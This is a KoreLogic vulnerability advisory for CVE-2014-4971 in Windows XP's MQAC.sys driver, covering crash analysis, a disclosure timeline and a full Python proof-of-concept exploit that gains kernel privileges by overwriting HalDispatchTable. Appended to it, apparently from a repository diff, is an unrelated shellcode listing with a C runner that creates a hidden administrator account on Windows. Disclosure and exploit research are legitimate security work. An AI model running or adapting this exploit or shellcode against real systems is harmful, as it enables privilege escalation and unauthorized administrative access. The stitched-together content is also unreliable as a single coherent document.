Affected Versions: 5.1.0.1110
Platform: Microsoft Windows XP SP3
CWE Classification: CWE-123: Write-what-where Condition
Impact: Privilege Escalation
Attack vector: IOCTL
CVE ID: CVE-2014-4971
2. Vulnerability Description
A vulnerability within the MQAC module allows an attacker to
inject memory they control into an arbitrary location they
define. This can be used by an attacker to overwrite
HalDispatchTable+0x4 and execute arbitrary code by subsequently
calling NtQueryIntervalProfile.
3. Technical Description
A userland process can create a handle into the MQAC device and
subsequently make DeviceIoControlFile() calls into that device.
During the IRP handler routine for 0x1965020f the user provided
OutputBuffer address is not validated. This allows an attacker
to specify an arbitrary address and write (or overwrite) the
memory residing at the specified address. This is classically
known as a write-what-where vulnerability and has well known
exploitation methods associated with it.
A stack trace from our fuzzing can be seen below. In our
fuzzing testcase, the specified OutputBuffer in the
DeviceIoControlFile() call is 0xffff0000.
STACK_TEXT:
b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d
b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d
b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31
b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70
b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v'
command shows the fault originating in the mqac driver.
OLLOWUP_IP:
mqac!AC2QM+5d
b230af37 891e mov dword ptr [esi],ebx
Reviewing the TRAP_FRAME at the time of crash we can see
IopCompleteRequest() copying data from InputBuffer into the
OutputBuffer. InputBuffer is another parameter provided to the
DeviceIoControlFile() function and is therefore controllable by
the attacker. The edi register contains the invalid address
provided during the fuzz testcase.
TRAP_FRAME: b1c459c4 -- (.trap 0xffffffffb1c459c4)
ErrCode = 00000002
eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000
eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
mqac!AC2QM+0x5d:
b230af37 891e mov dword ptr [esi],ebx ds:0023:ffff0000=????????
A write-what-where vulnerability can be leveraged to obtain
escalated privileges. To do so, an attacker will need to
allocate memory in userland that is populated with shellcode
designed to find the Token for PID 4 (System) and then overwrite
the token for its own process. By leveraging the vulnerability
in MQAC it is then possible to overwrite the pointer at
HalDispatchTable+0x4 with a pointer to our shellcode. Calling
NtQueryIntervalProfile() will subsequently call
HalDispatchTable+0x4, execute our shellcode, and elevate the
privilege of the exploit process.
4. Mitigation and Remediation Recommendation
None. A patch is not likely to be forthcoming from the vendor.
5. Credit
This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.
6. Disclosure Timeline
2014.04.28 - Initial contact; sent Microsoft report and PoC.
2014.04.28 - Microsoft acknowledges receipt of vulnerability
report; states XP is no longer supported and asks if
the vulnerability affects other versions of Windows.
2014.04.29 - KoreLogic asks Microsoft for clarification of their
support policy for XP.
2014.04.29 - Microsoft says XP-only vulnerabilities will not be
addressed with patches.
2014.04.29 - KoreLogic asks if Microsoft intends to address the
vulnerability report.
2014.04.29 - Microsoft opens case to investigate the impact of the
vulnerability on non-XP systems.
2014.05.06 - Microsoft asks again if this vulnerability affects
non-XP systems.
2014.05.14 - KoreLogic informs Microsoft that the vulnerability
report is for XP and other Windows versions have
not been examined.
2014.06.11 - KoreLogic informs Microsoft that 30 business days
have passed since vendor acknowledgement of the
initial report. KoreLogic requests CVE number for the
vulnerability, if there is one. KoreLogic also
requests vendor's public identifier for the
vulnerability along with the expected disclosure date.
2014.06.11 - Microsoft responds to KoreLogic that the
vulnerability does not affect an "up-platform"
product. Says they are investigating embedded
platforms. Does not provide a CVE number or a
disclosure date.
2014.06.30 - KoreLogic asks Microsoft for confirmation of their
receipt of the updated PoC. Also requests that
a CVE ID be issued to this vulnerability.
2014.07.02 - 45 business days have elapsed since Microsoft
acknowledged receipt of the vulnerability report and
PoC.
2014.07.07 - KoreLogic requests CVE from MITRE.
2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to
be identical to KL-001-2014-002 and issues
CVE-2014-4971 for both vulnerabilities.
2014.07.18 - Public disclosure.
7. Proof of Concept
#!/usr/bin/python2
#
# KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
# Matt Bergin (KoreLogic / Smash the Stack)
# CVE-2014-4971
#
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
retArray = c_ulong*1024
ImageBase = retArray()
callback = c_int(1024)
cbNeeded = c_long()
EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
for base in ImageBase:
driverName = c_char_p("\x00"*1024)
GetDeviceDriverBaseNameA(base,driverName,48)
if (name):
if (driverName.value.lower() == name):
return base
else:
return (base,driverName.value)
return None
handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
print "[+] Handle \\\\.\\MQAC @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\x50\x00\x00\x00"+"\x90"*0x400
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))
#Overwrite Pointer
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0)
print "[+] HalDispatchTable+0x4 overwritten"
CloseHandle(handle)
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))
exit(0)
The contents of this advisory are copyright(c) 2014
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt

View file

@ -0,0 +1,27 @@
Add Admin User Shellcode (194 bytes) - Any Windows Version
========================================================
Title: Add Admin User Shellcode (194 bytes) - Any Windows Version
Release date: 21/06/2014
Author: Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
Size: 194 byte (NULL free)
Tested on: Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3
Username: BroK3n
Password: BroK3n
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}